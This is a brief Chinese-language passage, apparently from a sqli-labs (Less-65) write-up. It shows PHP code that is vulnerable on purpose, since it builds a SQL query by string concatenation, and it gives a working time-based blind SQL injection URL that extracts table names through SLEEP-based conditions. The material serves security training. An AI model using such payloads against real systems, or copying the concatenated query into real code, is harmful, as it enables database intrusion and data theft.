$id = ‘"‘.$id.‘"‘;
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
此处对id进行了 “” () 的处理，构造payload时应该注意。这里给出示例payload：
http://127.0.0.1/sqli-labs/Less-65/?id=1%22)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+
原文：http://www.cnblogs.com/lcamry/p/5762014.html